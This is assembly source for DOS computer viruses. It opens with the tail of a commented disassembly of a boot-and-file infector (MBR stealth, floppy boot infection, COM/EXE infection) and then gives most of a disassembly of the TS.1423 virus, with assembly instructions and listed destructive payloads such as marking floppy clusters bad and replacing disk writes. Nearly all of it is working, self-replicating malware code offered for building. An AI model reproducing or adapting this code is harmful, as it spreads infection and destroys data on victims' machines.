db 0B9h ; mov cx,????
loop $-5
_1cx equ byte ptr $ ; 1 byte instruction
clc
; Using DX
db 0BAh ; mov dx,????
dec dx
jne $-6
one_byte_inst:
nop
std
cld
clc

read_header:
mov ah,3Fh
mov cx,1Ch
push cs
pop ds
mov dx,offset(_header)
call int21h ; Read file header
ret

get_ofs_fname:
push cs
pop ds
mov ah,30h
call int21h ; Get DOS version
mov ofs_sft,20h
xchg ah,al
cmp ax,300h ; DOS 3.0?
jne not_inc_offset ; No? then jmp
inc ofs_sft ; ofs_sft:=21h
not_inc_offset:
ret

end_fname: ; Output: SI points to end of filename

mov cx,43h
search_end_fname: ; Search end of filename (0)
mov al,[si]
or al,al ; Zero?
jz end_asciiz ; Yes? then jmp
inc si
loop search_end_fname
end_asciiz:
ret

int21h:
pushf
call dword ptr cs:ofs_i21
ret

int13h:
pushf
call dword ptr cs:ofs_i13
ret

int13hbp:
pushf
call dword ptr cs:[bp+ofs_i13]
ret

int24h:
mov al,3
_iret:
iret

set_i24_i1B_i23:
push ds
push cs
pop ds
push bx
mov ax,3524h
call int21h ; Get int 24h
mov [ofs_i24],bx ; Save it
mov [seg_i24],es
mov al,1Bh
call int21h ; Get int 1Bh
mov [ofs_i1b],bx ; Save it
mov [seg_i1b],es
mov al,23h
call int21h ; Get int 23h
mov [ofs_i23],bx ; Save it
mov [seg_i23],es
pop bx
push ax
push dx
mov ax,2524h
mov dx,offset(int24h)
call int21h ; Set new int 24h
mov al,1Bh
mov dx,offset(_iret)
call int21h ; Set new int 1Bh (iret)
mov al,23h
mov dx,offset(_iret)
call int21h ; Set new int 23h (iret)
pop dx
pop ax
pop ds
ret

restore_i24_i1b_i23:
mov ax,2524h
lds dx,dword ptr cs:ofs_i24
call int21h ; Restore int 24h
mov al,1Bh
lds dx,dword ptr cs:ofs_i1b
call int21h ; Restore int 1Bh
mov al,23h
lds dx,dword ptr cs:ofs_i23
call int21h ; Restore int 23h
ret

write_jmptovir:
push cs
pop ds
push cs
pop es
push di
mov si,offset(_header)
mov di,offset(header)
cld
movsw ; Save original bytes (3)
movsb
pop di
mov ax,4200h
xor cx,cx
xor dx,dx
call int21h ; Lseek start
mov ofs_virus,di
push di
sub ofs_virus,3
mov ah,40h
mov cx,3
mov dx,offset(jmp_virus)
call int21h ; Write jmp
mov host_type,1 ; COM file
pop di
add di,100h ; Calculate delta offset
mov delta,di
add di,offset(code_enc) ; Where encrypted code starts
mov st_code_enc,di
clc
ret

write_header_exe:
push cs
pop ds
push cs
pop es
mov si,offset(_header)
push si
mov di,offset(header)
mov cx,1Ch
cld
rep movsb ; Store header
pop si
mov ax,[si+(_pagecnt-_header)]
mov dx,512
dec ax
mul dx ; (pagecnt-1)*512
mov length_hi,dx
mov dx,[si+(_partpag-_header)]
clc
add ax,dx ; File size:=(pagecnt-1)*512+partpag
adc length_hi,0
mov length_lo,ax
xor cx,cx
mov dx,cx
mov ax,4202h
call int21h ; Lseek end (get real length)
sub ax,length_lo
sbb dx,length_hi ; File has internal overlays?
jz no_overlays ; No? then jmp
jmp stc_ret
no_overlays:
push bx
mov ax,4202h
xor cx,cx
mov dx,cx
call int21h ; Lseek end
push ax ; Save length
push dx
mov ax,[si+(_hdrsize-_header)]
mov cl,4
shl ax,cl ; mul 16 = size of header
xchg ax,bx
pop dx ; Get length
pop ax
push ax
push dx
sub ax,bx ; Sub size of header
sbb dx,0
mov cx,10h
div cx ; Calculate initial paragraph
mov [si+(_exeip-_header)],dx
mov [si+(_relocs-_header)],ax
pop dx
pop ax
add ax,offset(length_virus) ; New file length
adc dx,0
mov cl,9
push ax
shr ax,cl ; div 512
ror dx,cl
stc
adc dx,ax
pop ax
and ah,1
mov [si+(_pagecnt-_header)],dx
mov [si+(_partpag-_header)],ax
pop bx
clc
add word ptr [si+(_minmem-_header)],39h ; why 39h?????
; (offset(vir_end)-length_virus+15)/16 (?)
jnc nosub_minmem
sub word ptr [si+(_minmem-_header)],39h
nosub_minmem:
clc
add word ptr [si+(_maxmem-_header)],39h
jnc nosub_maxmem
sub word ptr [si+(_maxmem-_header)],39h
nosub_maxmem:
mov cl,4
mov ax,offset(end_virdata)
shr ax,cl ; div 16
mov dx,[si+(_relocs-_header)]
add ax,dx ; Segment of stack
mov [si+(_reloss-_header)],ax
mov word ptr [si+(_relosp-_header)],vstack-end_virdata
xor cx,cx
mov dx,cx
mov ax,4200h
call int21h ; Lseek start
mov dx,si
mov ah,40h
mov cx,1Ch
call int21h ; Write header
mov dx,[si+(_exeip-_header)]
mov delta,dx ; Delta offset
add dx,offset(code_enc) ; Where encrypted code starts
mov st_code_enc,dx
mov host_type,3 ; EXE file
clc
ret

stc_ret:
stc
ret

disinfect_file:
call push_registers
pushf
call normalize_fname
call set_i24_i1B_i23
mov cs:seg_fname,ds
mov cs:ofs_fname,dx
call get_reset_attr
jc r_ints
call exe_or_com?
or bp,bp ; Exe or Com?
jz r_ints ; No? then jmp
mov ax,3D02h
call int21h ; Open I/O
jc r_ints
mov bx,ax ; bx:=handle
call read_header
call check_if_exe
call get_ftime
call check_if_infected ; Infected?
jnz close_file ; Yes? then jmp
call get_file_encryption
cmp bp,1 ; COM file?
jne jmp_disinfect_exe ; No? then jmp
call disinfect_com
jmp quit_inf_mark

jmp_disinfect_exe:
call disinfect_exe
quit_inf_mark:
mov ax,cs:f_date
rcr ah,1
pushf
sub ah,100 ; Quit mark
popf
rcl ah,1
mov cs:f_date,ax
close_file:
call restore_ftime
mov ah,3Eh
call int21h ; Close file
mov ds,cs:seg_fname
mov dx,cs:ofs_fname
call restore_attr
r_ints:
call restore_i24_i1b_i23
popf
call pop_registers
ret

lseek:
mov ax,4202h
xor cx,cx
xor dx,dx
call int21h ; Lseek end
mov cx,dx
mov dx,ax
sub dx,cs:ofs_virus
mov ax,4200h
call int21h ; Lseek to length(file)-ofs_virus
ret

truncate_file:
mov cs:ofs_virus,offset(length_virus)
call lseek ; Lseek to start of viral code
mov ah,40h
xor cx,cx
call int21h ; Truncate file (original size)
ret
disinfect_com:
mov cs:ofs_virus,1Ch
call lseek ; Lseek to length(file)-1Ch
mov ah,3Fh
mov cx,3
push cs
pop ds
mov dx,offset(_3bytes)
push dx
call int21h ; Read original 3 bytes
mov ax,4200h
xor cx,cx
xor dx,dx
call int21h ; Lseek start
mov al,code_mask
pop si
push si
mov cx,3
push cx
call decrypt_bytes ; Decrypt original 3 bytes
pop cx
pop dx
mov ah,40h
call int21h ; Restore host
call truncate_file ; Truncate to original size
ret

int25:
mov cs:inout_flag,1
call dword ptr cs:ofs_i25
mov cs:inout_flag,0
retf

int26:
mov cs:inout_flag,1
call dword ptr cs:ofs_i26
mov cs:inout_flag,0
retf

mark_activity:
mov cs:inout_flag,0
mov cs:tick_value,8*18 ; 8 seconds
mov cs:tick_counter,0
ret

int17:
mov cs:inout_flag,1
pushf
call dword ptr cs:ofs_i17
call mark_activity
iret

check_boot_inf:
push cs
pop es
push cs
pop ds
mov si,3Eh
add si,bx
mov cx,offset(c_floppy)-offset(floppy_code)
mov di,offset(floppy_code)
cld
rep cmpsb
ret

install_from_boot:
mov al,13h
call get_int_vector ; Get int 13h vector
mov [bp+ofs_i13],bx ; Store it
mov [bp+seg_i13],es
mov [bp+use_ports],0
call check4ide
cmp al,66h ; Can use ports?
jne no_use_ports ; No? then jmp
mov [bp+use_ports],1
no_use_ports:
call install_virus
ret

patch_i13:
push si
push di
push es
push ds
push cs
pop es
lds si,dword ptr es:ofs_i13
push si
mov di,offset(i13_5bytes)
cld
movsw ; Save five bytes
movsw
movsb
pop si
cli
mov byte ptr [si],0EAh ; Insert a jmp far to cs:int_13
mov word ptr [si+1],offset(int_13)
mov [si+3],es
sti
pop ds
pop es
pop di
pop si
ret

int_13:
mov cs:inout_flag,1
call enable_FD
push si
push di
push es
push ds
mov si,offset(i13_5bytes)
push cs
pop ds
les di,dword ptr cs:ofs_i13
cld
movsw ; Restore original 5 bytes of int 13h
movsw
movsb
pop ds
pop es
pop di
pop si
cmp dx,80h ; 1st HD?
jne not_stealth ; No? then jmp
cmp cx,1 ; Track 0, sector 1?
jne not_stealth ; No? then jmp
cmp ah,2 ; Read sector?
je stealth_mbr_read ; Yes? then jmp
cmp ah,3 ; Write sector?
je stealth_mbr_write ; Yes? then jmp
not_stealth:
test dl,80h ; Is a HD?
jnz call_i13 ; Yes? then jmp
jmp is_a_floppy

call_i13:
pushf
call dword ptr cs:ofs_i13_2
exit_i13:
mov cs:inout_flag,0
call disable_FD
call patch_i13 ; Patch int 13h again
retf 2

stealth_mbr_read:
push ax
push bx
push cx
push dx
push es
push ax
push es
push bx
mov ah,8
int 13h ; Get current drive parameters
inc ch ; Inc cylinder
dec cl ; Dec sector
pop bx
pop es
pop ax
pushf
mov dl,80h
mov ah,2
int 13h ; Read original MBR (encrypted)
mov cx,512
mov al,cs:mask_orig_mbr
dec_mbr_rd:
xor es:[bx],al ; Decrypt the original MBR
inc bx
loop dec_mbr_rd
exit_mbr_stealth:
popf
pop es
pop dx
pop cx
pop bx
pop ax
call patch_i13
retf 2

stealth_mbr_write:
push ax
push bx
push cx
push dx
push es
push es
push bx
push ax
mov cx,512
mov al,cs:mask_orig_mbr
enc_mbr_wr:
xor es:[bx],al ; Encrypt the new MBR
inc bx
loop enc_mbr_wr
pop ax
pop bx
pop es
push ax
push es
push bx
mov ah,8
int 13h ; Get current drive parameters
inc ch ; Inc max. cylinder
dec cl ; Dec max. sector
pop bx
pop es
pop ax
mov dl,80h
mov ah,3
call int13h ; Write new original MBR (encripted)
pushf
mov cx,512
mov al,cs:mask_orig_mbr
dec_mbr_wr:
xor es:[bx],al ; Decrypt MBR
inc bx
loop dec_mbr_wr
jmp exit_mbr_stealth

is_a_floppy:
pushf
call push_registers
cmp ah,2 ; Read sector?
je read_write ; Yes? then jmp
cmp ah,3 ; Write sector?
je read_write ; Yes? then jmp
jmp infect_boot

read_write:
or dh,dh ; Track 0?
jnz infect_boot ; No? then jmp
cmp cx,1 ; Sector 1, track 0? trying boot?
jnz infect_boot ; No? then jmp
push cx
push dx
push ax
push es
push bx
push ax
push cs
pop es
mov si,3
read_boot_again:
mov ax,0201h
mov cx,1
mov dh,ch
mov bx,offset(sector)
call int13h ; Read boot
dec si
jz infect_boot_pops ; 3 errors reading? then jmp
jc read_boot_again ; error? then jmp
call check_boot_inf ; Infected?
jne infect_boot_pops ; No? then jmp
add bx,offset(vir_track)-offset(floppy_code)+3Eh
nop ; !?
mov ch,[bx] ; Virus track
pop ax
pop bx
pop es
mov al,1
mov cl,0Dh
call int13h ; Read/write original boot
pop ax
dec al
pop dx
pop cx
inc cl
call int13h ; And the rest of sectors
or cs:flags,10h ; Don't need to call int 13h
jmp infect_boot

infect_boot_pops:
pop ax
pop bx
pop es
pop ax
pop dx
pop cx
infect_boot:
xor ax,ax
mov ds,ax ; DS:=0
cmp dl,3 ; diskette?
jbe test_motor ; Yes? then jmp
jmp error_inf_boot

test_motor:
mov cl,dl
mov al,1
shl al,cl ; Set bit of drive
mov cs:bit_drive,al
test ds:[43Fh],al ; Diskette motor on?
jnz error_inf_boot ; Yes? then jmp
push cs
pop ds
push ds
pop es
mov si,3
mov drive,dl
read_boot:
xor ax,ax
call int13h ; Reset drive controller
mov ax,0201h
mov cx,1
mov dh,ch
mov bx,offset(sector)
call int13h ; Read sector
jnc boot_loaded
dec si
jz error_inf_boot
jmp read_boot

boot_loaded:
call check_boot_inf ; Already infected?
jcxz error_inf_boot ; Yes? then jmp
call format_extra_track ; And write code to disk
jc error_inf_boot
push cs
pop ds
mov vir_track,ch ; Store new track
mov word ptr jmp_bootcode,3CEBh ; Encode jmp floppy_code
mov byte ptr jmp_bootcode+2,90h
mov si,offset(floppy_code)
mov di,offset(sector)+3eh
push ds
pop es
mov cx,end_floppy_code-floppy_code
cld
rep movsb
mov ax,301h
mov bx,offset(sector)
xor dh,dh
mov cx,1
call int13h ; Write new boot sector
error_inf_boot:
call pop_registers
popf
test cs:flags,10h ; Need to call int 13h?
jnz no_call_i13 ; No? then jmp
jmp call_i13

no_call_i13:
clc
mov cs:flags,0 ; Clear all flags
jmp exit_i13

format_extra_track:
mov al,1Eh
call get_int_vector ; Dir of diskette parameters
cli
mov word ptr es:[bx+3],0D02h ; 2-> 512 bytes/sector
; 0Dh-> last sector
sti
mov ax,totsecs
or ax,ax ; Total sectors=0?
jz error_ft ; Yes? then jmp
mov bx,trksecs ; Sectors per track
xor bh,bh
cmp ax,bx ; Total sectors<=Sectors per track?
jle error_ft ; Yes? then jmp
div bl ; Calculate number of tracks
mov bx,headcnt ; Number of heads
xor bh,bh
cmp ax,bx ; Number of tracks<=Number of heads?
jle error_ft ; Yes? then jmp
div bl ; Tracks per head
mov ah,1
mov cx,0Dh ; 13 sectors
mov di,offset(format_table)
push di
push cs
pop es
make_table_sectors:
mov es:[di],al ; Track
mov byte ptr es:[di+1],0 ; Head 0
mov es:[di+2],ah ; Sector Number
mov byte ptr es:[di+3],2 ; Size (2-> 512)
inc ah ; Next sector
add di,4 ; Next table entry
loop make_table_sectors
mov dl,cs:drive
mov ah,5
pop bx
mov ch,al
mov cl,1
xor dh,dh
call int13h ; Format extra track
jc error_ft
mov ax,301h
mov bx,offset(sector)
mov cl,0Dh
call int13h ; Store original boot
jc error_ft
mov ax,30Ch
xor bx,bx
mov cl,1
call int13h ; Write code to disk
ret
error_ft:
stc
ret

floppy_code:
cli
xor ax,ax
mov ss,ax
mov sp,7C00h
push cs
pop ds
c_floppy:
mov ch,50h ; Virus track
vir_track equ byte ptr $-1
xor dx,dx
push cs
pop es
mov bx,7E00h
mov si,3
read_track:
mov ax,20Ch
mov cl,1
int 13h ; Read code (12 sectors)
dec si
jz read_exec_boot
jc read_track
mov bp,bx
add bx,offset(install_from_boot)
push dx
push cx
call bx ; call install_from_boot (infect MBR)
pop cx
pop dx
read_exec_boot:
push ss
pop es
mov ax,201h
mov bx,7C00h
mov cl,0Dh
pushf ; flags
push ss ; 0
push bx ; 7C00h
jmp dword ptr es:[13h*4] ; Read & exec original boot
end_floppy_code:

;---------------------------------------------------------
jmp dword ptr cs:ofs_i8 ; ?????
;---------------------------------------------------------

push_registers2:
pop cs:return_dir2
push ax
push bx
push cx
push dx
push es
push ds
push si
push di
push bp
jmp cs:return_dir2
pop_registers2:
pop cs:return_dir2
pop bp
pop di
pop si
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
jmp cs:return_dir2

int8:
pushf
call dword ptr cs:ofs_i8
or cs:ticks_disableFD,0 ; Time to disable FD?
jz dis_fd ; Yes? then jmp
dec cs:ticks_disableFD
dis_fd:
cmp cs:ticks_disableFD,0 ; Time to disable FD?
jnz no_permission ; No? then jmp
test cs:flags,2 ; Permission to disable floppy? 1=no
jz no_permission ; BUG!?
call disable_FD ; call with bit1=1 -> doesn't disable FD!!
and cs:flags,11111101b
no_permission:
call push_registers2
xor ax,ax
mov ds,ax
les bx,ds:[33h*4] ; Get mouse int
push cs
pop ds
mov cx,es
or cx,cx ; Int segment=0?
jz mark_no_mouse ; Yes? then jmp
cmp byte ptr es:[bx],0CFh ; Int points to iret?
je mark_no_mouse ; Yes? then jmp
cmp mouse_checked,1 ; Did I check the mouse?
je serial_mouse ; Yes? then jmp
mov no_mouse,0
xor ch,ch
mov mouse_checked,1 ; Mark mouse checked
mov ax,24h
int 33h ; - MS MOUSE - Get soft version and type
cmp ch,2 ; Serial mouse?
je serial_mouse ; Yes? then jmp
mark_no_mouse:
mov no_mouse,1 ; No serial mouse
serial_mouse:
mov cx,3
xor bx,bx
xor bp,bp
check_com:
mov dx,word ptr [bx+com_ports]
inc bx
inc bx
or dx,dx ; Port installed?
jz check_game ; No? then jmp
; BUG!? We can have COM4 without COM3
in al,dx ; Read byte from port
call waste_time
cmp al,byte ptr cs:[bp+data_com] ; Actual byte=Previous?
mov byte ptr cs:[bp+data_com],al ; Store actual byte
je next_port ; Yes? then jmp
call mark_activity
jmp check_game
next_port:
inc bp
loop check_com ; Check next COM
check_game:
mov dx,201h
in al,dx ; Game I/O port
call waste_time
cmp al,data_game ; Actual byte=Previous byte?
je check_keys ; Yes? then jmp
call mark_activity
check_keys:
mov data_game,al ; Store actual byte
in al,60h ; AT Keyboard controller 8042.
call waste_time
test al,80h ; Key pressed?
call pop_registers2
jnz inc_tick_counter ; Yes? then jmp
call mark_activity
inc_tick_counter:
push ds
push es
push bx
push cs
pop ds
inc tick_counter
cmp tick_counter,8*18 ; < tick_value secs inactive?
tick_value equ word ptr $-2
jb exit_i8 ; Yes? then jmp
cmp into_i21,0 ; int 21h active?
jnz exit_i8 ; Yes? then jmp
cmp inout_flag,0 ; Input/output activity?
jnz exit_i8 ; Yes? then jmp
les bx,dword ptr ofs_flagdos
cmp byte ptr es:[bx],0 ; DOS inactive?
jnz exit_i8 ; Yes? then jmp
les bx,dword ptr ofs_swpdos
cmp byte ptr es:[bx],0 ; DOS swapping?
jnz exit_i8 ; Yes? then jmp
mov tick_counter,0 ; Reset counter
call search_files
or tick_value,0 ; Tick value=0?
jz exit_i8 ; Yes? then jmp
cmp word ptr no_mouse,1 ; Mouse present but not checked?
jz exit_i8 ; No? then jmp
sub tick_value,1*18 ; 1 second
exit_i8:
pop bx
pop es
pop ds
iret
search_files:
call push_registers2
mov ah,2Fh
call int21h ; Get DTA address in ES:BX
mov ax,cs
mov dx,es
cmp ax,dx ; Virus already using DTA?
jne change_dta ; No? then jmp
jmp exit_sf
change_dta:
mov ds:ofs_dta,bx
mov ds:seg_dta,es
mov ah,1Ah
mov dx,offset(dta)
call int21h ; Set DTA
cmp fname_waiting,1 ; Has a file waiting to be infected?
je infect_via_i8 ; Yes? then jmp
cmp searching,1 ; Search in progress?
je find_next ; Yes? then jmp
mov ah,4Eh
mov cx,3Fh
test search_execom,1 ; Searching for COM?
jnz search_exe ; Yes? then jmp
mov dx,offset(m_com)
jmp find_first

search_exe:
mov dx,offset(m_exe)
find_first:
call int21h ; Find first file
jc change_ftype
mov searching,1 ; Mark searching files
mov dx,dta_date ; Get file date
rcr dh,1
cmp dh,100 ; Infected?
jb convert_relative ; No? then jmp
find_next:
mov ah,4Fh
call int21h ; Find next
jc change_ftype
mov dx,dta_date
rcr dh,1
cmp dh,100 ; Infected?
jnb find_next ; Yes? then jmp
jmp convert_relative

change_ftype:
dec search_execom ; Next type
mov searching,0 ; Next time do a find-first
jmp restore_dta

infect_via_i8:
mov dx,offset(file_name)
call try_to_infect_file
mov fname_waiting,0 ; Next time do a search
jmp restore_dta

convert_relative:
mov si,offset(dta_fname)
mov di,offset(file_name)
push cs
pop es
mov ah,60h
call int21h ; Convert relative path to full path
mov fname_waiting,1 ; Next time do an infection
jmp restore_dta ; Very stupid jmp!!!!

restore_dta:
mov ah,1Ah
mov ds,cs:seg_dta
mov dx,cs:ofs_dta
call int21h ; Restore DTA
exit_sf:
call pop_registers2
ret

decrypt_bytes:
mov al,code_mask
cmp crypt_method,0 ; XOR encryption?
je dec_xor ; Yes? then jmp
cmp crypt_method,1 ; NOT encryption?
je dec_not ; Yes? then jmp
cmp crypt_method,2 ; ROR encryption
je dec_rol ; Yes? then jmp
cmp crypt_method,3 ; DEC encryption?
je dec_inc ; Yes? then jmp
dec_xor:
xor [si],al
inc si
loop dec_xor
ret
dec_not:
not byte ptr [si]
inc si
loop dec_not
ret
dec_rol:
rol byte ptr [si],1
inc si
loop dec_rol
ret
dec_inc:
inc byte ptr [si]
inc si
loop dec_inc
ret

disinfect_exe:
push cs
pop ds
call read_header
mov ofs_virus,length_virus-offset(header)
call lseek ; Lseek to length(file)-1Ch
mov ah,3Fh
mov cx,1Ch
mov dx,offset(header)
call int21h ; Read stored header (encrypted)
mov si,dx
push si
call decrypt_bytes ; Decrypt header
mov ax,4200h
xor cx,cx
xor dx,dx
call int21h ; Lseek start
pop dx
mov ah,40h
mov cx,1Ch
call int21h ; Write original header
call truncate_file ; and truncate file to original length
ret

get_int_vector: ; Input: al:=int.number


push ds
push si
xor ah,ah
mov si,4
mul si
mov si,ax
xor ax,ax
mov ds,ax ; ds:=0
les bx,[si] ; get int vector in es:bx
pop si
pop ds
ret

m_com db '*.COM',0
m_exe db '*.EXE',0

header:
signature dw 20CDh
partpag dw 0
pagecnt dw 0
relocnt dw 0
hdrsize dw 0
minmem dw 0
maxmem dw 0
reloss dw 0
relosp dw 0
chksum dw 0
exeip dw 0
relocs dw 0
tabloff dw 0
ovr dw 0

length_virus:

buffer:
ofs_1c dw ?
seg_1c dw ?

_header:
_signature dw ?
_partpag dw ?
_pagecnt dw ?
_relocnt dw ?
_hdrsize dw ?
_minmem dw ?
_maxmem dw ?
_reloss dw ?
_relosp dw ?
_chksum dw ?
_exeip dw ?
_relocs dw ?
_tabloff dw ?
_ovr dw ?

stored_psp dw ?
clusters_avail dw ?
stored_drive db ?
loading_dos db ?
xchg1 equ byte ptr $
tunnel_ok equ byte ptr $
seg_fname dw ?
xchg2 equ byte ptr $+1
ofs_fname dw ?
db ?,?

_3bytes db ?,?,?
db ?
seg_psp dw ?
ofs_i21 dw ?
seg_i21 dw ?
ofs_i13 dw ?
seg_i13 dw ?
flags db ?
ticks_disableFD dw ?
ofs_i13_2 dw ?
seg_i13_2 dw ?
ofs_i24 dw ?
seg_i24 dw ?
ofs_i1b dw ?
seg_i1b dw ?
ofs_i23 dw ?
seg_i23 dw ?
ofs_i8 dw ?
seg_i8 dw ?
ofs_i25 dw ?
seg_i25 dw ?
ofs_i26 dw ?
seg_i26 dw ?
ofs_i17 dw ?
seg_i17 dw ?
length_lo dw ?
length_hi dw ?
f_date dw ?
emul_pushf equ word ptr $
f_time dw ?
attribs dw ?
boot_i21 dw ?
filename equ word ptr $
ep_ip dw ? ; Also filename
ep_cs dw ? ; 8bytes+'.'+3bytes+0
db ?
db ?
db ?
db ?
point db ? ; '.'
filename_ext equ word ptr $ ; 3bytes
seg_stop dw ?
db ?
db ?
code_mask db ?
ofs_dta dw ?
seg_dta dw ?
dta:
db 15h dup(?)
dta_attr db ?
dta_time dw ?
dta_date dw ?
dta_sizel dw ?
dta_sizeh dw ?
dta_fname db 0dh dup(?)
inout_flag db ?
tick_counter dw ?
into_i21 db ?
fname_waiting db ?
search_execom db ?
searching db ?
no_mouse db ?
mouse_checked db ?
drive equ byte ptr $
use_ports db ?
bit_drive db ?
data_com: db ? ; COM1
db ? ; COM2
db ? ; COM3
db ? ; COM4
com_ports: dw ? ; Address of COM1
dw ? ; COM2
dw ? ; COM3
dw ? ; COM4
data_game db ?
file_name db 67 dup(?)
return_dir dw ?
return_dir2 dw ?
activity_checks db ?
ofs_sft dw ?
ofs_flagdos dw ?
seg_flagdos dw ?
ofs_swpdos dw ?
seg_swpdos dw ?
crypt_method db ?
jmp_virus db ?
ofs_virus dw ?
i13_5bytes db 5 dup(?)

end_virdata equ word ptr $

sector:
jmp_bootcode db 3 dup(?)
db 8 dup(?)
sectsize dw ?
clustsize db ?
ressecs dw ?
fatcnt db ?
rootsize dw ?
totsecs dw ?
media db ?
fatsize dw ?
trksecs dw ?
headcnt dw ?
hidnsec dw ?
db (512-($-offset(sector))) dup(?)
format_table equ $
vstack equ $-70h
s_mbr equ $-70h+1
buffer_enc equ $+34h

org $+34h
db 512 dup(?)
vir_end equ $

v6000 ends
end start
; TS.1423
; ************************************************************************>
; Virus disassembly by Tcp
;
; Virus : TS.1423
; Author: Unknown
; Where : Spain
;
; This is a pretty curious virus i disassembled a few time ago, when 29A
; wasn't more than a project :) It's well programmed and its best feature
; is the encryption routine, based on tracing the code via int 1, which
; makes the virus decryption and disassembly quite difficult. About the
; rest of the virus, just a little mention about the UMB residency and the
; payloads (nothing special). I'd describe it as follows:
;
; þ Infects COM and EXE files on closing (3eh)
; þ Encrypted; uses a decryption routine via int 1
; þ Thus, highly antidebugging :)
; þ It doesn't infect *AN*.* (Scan, TbScan...)
; þ Marks clusters as bad on floppies if the year is above 1995
; þ On friday, if the year is above 1995, changes disk writes to disk
; verifications
;
; Btw... this source code was fully commented in spanish, but i'm too lazy
; to translate it and it's easy to understand, so i'll leave it uncommen-
; ted; if you have any doubt about it, look for me in #virus or e-mail me
; at tcp@cryogen.com.
;
; Compiling instructions:
;
; tasm /m ts1423.asm
; tlink ts1423.obj
; exe2bin ts1423.exe ts1423.com

_bytes equ (header-start)+(_length-start)-(end_decr-start)


_parag equ _bytes/16+1

ts1423 segment byte public


assume cs:ts1423, ds:ts1423
org 0

start: call get_delta

_mask db 0

int_1: xor byte ptr cs:[di],0aah


mov bp,sp
mov di,[bp]
xor byte ptr cs:[di],0aah
iret

get_delta: pop si
pushf
push ds
push es
pushf
xor ax,ax
mov ds,ax
mov ax,si
inc ax
mov ds:[0004],ax
mov ds:[0006],cs
mov bp,sp
pushf
xor byte ptr [bp-1],1
mov di,si
add di,offset end_decr-2
popf
mov ah,cs:[si]

; First byte, encrypted with aah ; Decrypted instruction ;


; *******************************Å********************** ;
; ³ :
db 29h,0eeh,3 ; sub si,3 -> offset int_1
db 21h,0d6h ; mov dx,si
db 13h
dw offset _length-offset end_decr ; mov cx,offset...
db 2bh,0c6h
dw offset end_decr ; add si,offset end_decr
db 56h ; cld
loop_1: db 84h,30h,24h ; xor cs:[si],ah ; Second routine
db 0ech ; inc si
db 48h,0fah ; loop loop_1
end_decr: db 37h ; popf -> trace off (int_1 inactive)

mov si,dx
cmp cs:[si+file_type],0
je com_file
mov ax,cs
add cs:[si+file_cs],ax
mov ax,cs:[si+file_cs]
add cs:[si+file_ss],ax

com_file: mov bx,'TC'


mov ax,'0.'
int 21h
or ax,ax
jne no_resident
jmp no_activation

no_resident: cmp al,5


jb no_UMB
mov ax,5800h
int 21h

push ax
mov ax,5802h
int 21h

push ax
xor dx,dx
mov ax,5803h
mov bx,1
int 21h

jc UMB_error
mov ax,5801h
mov bx,81h
int 21h

jc UMB_error
mov bx,_parag
mov ah,48h
int 21h
jc UMB_error
mov dx,ax

UMB_error: pop bx
xor bh,bh
mov ax,5803h
int 21h

pop bx
xor bh,bh
mov ax,5801h
int 21h

mov ax,dx
or ax,ax
jnz mem_ok

no_UMB: mov ax,es


dec ax
mov ds,ax
mov bx,ds:[0003]
sub bx,_parag+1
mov ah,4ah
int 21h

mov bx,_parag
mov ah,48h
int 21h

mem_ok: mov es,ax


dec ax
mov ds,ax
mov ah,2ah
int 21h

mov es:year,cl
cmp cl,0cah
ja y_1995
xor al,al

y_1995: push ax
mov word ptr ds:[0001],8
push si
push cs
pop ds
xor di,di
mov cx,offset _length
rep movsb
pop si
mov dx,es
mov ds,dx
mov ax,3521h
int 21h

mov ds:ofs_int21,bx
mov ds:seg_int21,es
mov es,dx
mov dx,offset int_21
mov ax,2521h
int 21h

pop ax
cmp al,5
jne no_activation
push es

mov ax,3513h
int 21h

mov ds:ofs_int13,bx
mov ds:seg_int13,es
pop es
mov dx,offset int_13
mov ax,2513h
int 21h

no_activation: pop es
pop ds
cmp cs:[si+file_type],0
je exec_com

popf
cli
mov ss,cs:[si+file_ss]
mov sp,cs:[si+file_sp]
sti
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
xor bp,bp

db 0eah
file_ip dw 0
file_cs dw 0

exec_com: popf
add si,offset bytes_com
mov di,100h
push di
mov cx,3
rep movsb
ret

int_21: cmp ah,30h


je get_OS
cmp ah,57h
je f_date
cmp ah,3ch
je open_functions
cmp ah,5bh
je open_functions
cmp ah,3dh
je open_functions
cmp ah,6ch
je open_functions
cmp ah,3eh
je close
cmp ah,4bh
je exec

jmp_21: jmp dword ptr cs:ofs_int21

call_21: pushf
call dword ptr cs:ofs_int21

int_ret: push bp
mov bp,sp
jc put_error
and byte ptr [bp+6],0FEh
pop bp
iret

put_error: or byte ptr [bp+6],1


pop bp
iret

get_OS: cmp al,'.'


jne jmp_21
cmp bx,'TC'
jne jmp_21
xor ax,ax
iret

f_date: or al,al
jz jmp_21
xor al,al
push cx
push dx
pushf
call dword ptr cs:ofs_int21
jc error_g_date

and cx,1fh
cmp cx,1fh
pop dx
pop cx
mov al,1
jnz jmp_jmp21
or cx,1fh

jmp_jmp21: jmp jmp_21

error_g_date: pop dx
pop cx
jmp int_ret

open_functions: call mark_bad


call valid_name
jc jmp_21
pushf
call dword ptr cs:ofs_int21
jc int_ret

mov cs:handle,ax
jmp int_ret

close: cmp cs:handle,bx


jne jmp_21
pushf
call dword ptr cs:ofs_int21
jc int_ret
jmp infection

exec: call valid_name


jc jmp_jmp21_2
jmp infection
jmp_jmp21_2: jmp jmp_21

infection: push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push cs
pop ds
mov dx,offset file_name
call get_drive
mov ah,36h
int 21h

cmp ax,0ffffh
je jmp_end_infect

mul bx
mul cx
or dx,dx
jnz space
cmp ax,offset _length
jae space

jmp_end_infect: jmp end_infect

space: mov ax,3524h


int 21h

mov cs:ofs_int24,bx
mov cs:seg_int24,es
push cs
pop es
mov dx,offset int_24
mov ax,2524h
int 21h

mov dx,offset file_name


mov ax,4300h
int 21h

jc jmp_set_24
mov cs:file_attribs,cx
xor cx,cx
mov ax,4301h
int 21h
jnc open_file

jmp_set_24: jmp set_24

open_file: mov ax,3d02h


pushf
call dword ptr cs:ofs_int21
jnc file_opened
jmp set_attribs

file_opened: mov bx,ax


call get_datetime
jc jmp_jmp_close
call lseek_end
jc jmp_jmp_close
mov si,ax
mov di,dx
or dx,dx
jnz valid_length
cmp ax,offset _length
jb jmp_jmp_close

valid_length: call lseek_start


jc jmp_jmp_close
mov cx,1ch
mov dx,offset header
mov ah,3fh
int 21h

jc jmp_jmp_close
push di
mov di,dx
cmp word ptr [di],'ZM'
pop di
jz exe_infect

mov cs:file_type,0
sub si,3
